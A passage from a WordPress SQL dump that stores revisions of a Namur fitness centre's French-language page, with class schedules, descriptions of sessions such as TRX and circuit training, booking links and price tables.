'', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(406, 1, '2014-12-15 19:47:31', '2014-12-15 19:47:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\nNamur\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\n\n&amp;nbsp;\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&amp;nbsp;\n\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\n\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\n\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\n\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\n\n&amp;nbsp;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\n30 min : 35.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\n30 min : 20.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\n1 carte de 10 séances : 90.00€ (valable 6 mois)\n1 carte de 20 séances : 150.00€ (valable 6 mois)\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-autosave-v1', '', '', '2014-12-15 19:47:31', '2014-12-15 19:47:31', '', 363, 'http://www.crosstrainingcenter.be/363-autosave-v1/', 0, 'revision', '', 0);
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(407, 1, '2014-01-18 18:52:33', '2014-01-18 18:52:33', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 18:52:33', '2014-01-18 18:52:33', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(408, 1, '2014-01-18 18:55:39', '2014-01-18 18:55:39', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre 